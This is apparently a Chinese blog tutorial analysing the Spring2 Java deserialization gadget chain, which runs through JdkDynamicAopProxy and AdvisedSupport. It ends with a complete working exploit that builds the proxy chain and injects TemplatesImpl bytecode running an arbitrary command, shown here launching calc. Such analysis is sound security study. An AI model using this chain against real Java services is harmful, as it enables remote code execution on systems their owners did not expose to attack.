目录
关于target的出身------AdvisedSupport
请确保已阅读过前文或对Spring1链至少有一定认知:【Web】浅聊Java反序列化之Spring1链------三层动态代理-CSDN博客
简介
Spring2 和 Spring1 的反序列化过程基本相同,唯一不同的在于把spring-beans的ObjectFactoryDelegatingInvocationHandler换成了spring-aop的JdkDynamicAopProxy
org.springframework.aop.framework.JdkDynamicAopProxy
类是 Spring AOP 框架基于 JDK 动态代理的实现,同时其还实现了 AopProxy 接口。
个人觉得Spring2较Spring1更快刀斩乱麻,思路更清晰,构造更干净(毕竟只用了两层代理
简话JdkDynamicAopProxy
①JdkDynamicAopProxy实现了AopProxy, InvocationHandler, Serializable三个接口
所以我们要清楚地认知,其本质也是handler,用作构造动态代理类
final class JdkDynamicAopProxy implements AopProxy, InvocationHandler, Serializable
②其构造方法接收一个AdvisedSupport类型的参数config,并赋值给advised
public JdkDynamicAopProxy(AdvisedSupport config) throws AopConfigException {
Assert.notNull(config, "AdvisedSupport must not be null");
if (config.getAdvisors().length == 0 && config.getTargetSource() == AdvisedSupport.EMPTY_TARGET_SOURCE) {
throw new AopConfigException("No advisors and no TargetSource specified");
} else {
this.advised = config;
}
}
这段代码的作用是根据传入的 AdvisedSupport
对象进行初始化,确保必要的属性不为空。如果属性不满足要求,则抛出异常。否则,将 config
赋值给类的成员变量 advised
,完成初始化操作。
③JdkDynamicAopProxy#invoke
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Object oldProxy = null;
boolean setProxyContext = false;
TargetSource targetSource = this.advised.targetSource;
Class<?> targetClass = null;
Object target = null;
Integer var10;
try {
if (!this.equalsDefined && AopUtils.isEqualsMethod(method)) {
Boolean var18 = this.equals(args[0]);
return var18;
}
if (this.hashCodeDefined || !AopUtils.isHashCodeMethod(method)) {
Object retVal;
if (!this.advised.opaque && method.getDeclaringClass().isInterface() && method.getDeclaringClass().isAssignableFrom(Advised.class)) {
retVal = AopUtils.invokeJoinpointUsingReflection(this.advised, method, args);
return retVal;
}
if (this.advised.exposeProxy) {
oldProxy = AopContext.setCurrentProxy(proxy);
setProxyContext = true;
}
target = targetSource.getTarget();
if (target != null) {
targetClass = target.getClass();
}
List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
if (chain.isEmpty()) {
retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args);
} else {
MethodInvocation invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
retVal = invocation.proceed();
}
Class<?> returnType = method.getReturnType();
if (retVal != null && retVal == target && returnType.isInstance(proxy) && !RawTargetAccess.class.isAssignableFrom(method.getDeclaringClass())) {
retVal = proxy;
} else if (retVal == null && returnType != Void.TYPE && returnType.isPrimitive()) {
throw new AopInvocationException("Null return value from advice does not match primitive return type for: " + method);
}
Object var13 = retVal;
return var13;
}
var10 = this.hashCode();
} finally {
if (target != null && !targetSource.isStatic()) {
targetSource.releaseTarget(target);
}
if (setProxyContext) {
AopContext.setCurrentProxy(oldProxy);
}
}
return var10;
}
先是获取advised
里的 TargetSource存进targetSource里,并调用 getTarget()
方法返回其中的对象存进target里。(我知道你想问什么,后面会讲的)
接着再调用AopUtils.invokeJoinpointUsingReflection(target, method, args)
public static Object invokeJoinpointUsingReflection(Object target, Method method, Object[] args) throws Throwable {
try {
ReflectionUtils.makeAccessible(method);
return method.invoke(target, args);
}
这段代码的作用是通过反射机制调用目标对象的指定方法,并传入相应的参数,实现了对目标对象方法的动态调用
总结一下就是:JdkDynamicAopProxy将方法调用委托给了AdvisedSupport的target成员。
而方法名是我们可控的(从MethodInvokeTypeProvider传入),那我们只要让target成员为恶意TemplatesImpl,并把方法名设置为newTransformer就可调用**++TemplatesImpl#newTransformer++**,这样就免去了三层代理的繁琐。
关于target的出身------AdvisedSupport
现在的问题来到了,如何让target成员为恶意TemplatesImpl?
我们知道target来源自this.advised.targetSource.getTarget(),而advised是一个 AdvisedSupport类
看下AdvisedSupport类
的构造方法
public AdvisedSupport() {
this.targetSource = EMPTY_TARGET_SOURCE;
this.preFiltered = false;
this.advisorChainFactory = new DefaultAdvisorChainFactory();
this.interfaces = new ArrayList();
this.advisors = new LinkedList();
this.advisorArray = new Advisor[0];
this.initMethodCache();
}
this.advised.targetSource是个TargetSource接口的实现,但没有对getTarget进行重写
public interface TargetSource extends TargetClassAware {
Class<?> getTargetClass();
boolean isStatic();
Object getTarget() throws Exception;
void releaseTarget(Object var1) throws Exception;
}
如果猜测getTarget是个getter方法,从对称的角度,++我们不难想到可以用setTarget来放入恶意TemplatesImpl++,但出于严谨还是得跟一下具体调用
public void setTarget(Object target) {
this.setTargetSource(new SingletonTargetSource(target));
}
跟进setTargetSource
public void setTargetSource(TargetSource targetSource) {
this.targetSource = targetSource != null ? targetSource : EMPTY_TARGET_SOURCE;
}
经典三目运算,如果传入的 targetSource
不为 null
,则设置为传入的 targetSource
;如果传入的 targetSource
为 null
,则设置为默认的 EMPTY_TARGET_SOURCE
targetSource从哪来?从
new SingletonTargetSource(target)来。
再回头,跟一下SingletonTargetSource,发现就是给this.target赋值为target
public SingletonTargetSource(Object target) {
Assert.notNull(target, "Target object must not be null");
this.target = target;
}
然后new一个SingletonTargetSource对象传入setTargetSource,从而让this.advised.targetSource赋值为我们刚new完的SingletonTargetSource对象,而该对象的target属性就是由我们传入的。
所以this.advised.targetSource.getTarget()得到的就是我们构造时用setTarget传入的target。
EXP
pom依赖
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.29.2-GA</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
</dependencies>
召唤计算器的神奇的咒语
package com.spring;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
public class Spring2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
setValue(templates, "_name", "1");
AdvisedSupport as = new AdvisedSupport();
as.setTarget(templates);
Class<?> clazz0 = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> con0 = clazz0.getDeclaredConstructors()[0];
con0.setAccessible(true);
InvocationHandler aopInvocationHandler = (InvocationHandler) con0.newInstance(as);
Object aopProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, aopInvocationHandler);
HashMap<String, Object> map2 = new HashMap<String, Object>();
map2.put("getType", aopProxy);
Class<?> clazz2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> con2 = clazz2.getDeclaredConstructors()[0];
con2.setAccessible(true);
InvocationHandler invocationHandler2 = (InvocationHandler) con2.newInstance(Override.class, map2);
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")}, invocationHandler2);
Class<?> clazz3 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> con3 = clazz3.getDeclaredConstructors()[0];
con3.setAccessible(true);
Object o = con3.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
setValue(o, "methodName", "newTransformer");
ser(o);
}
public static void ser(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
ois.readObject();
}
public static byte[] genPayload(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}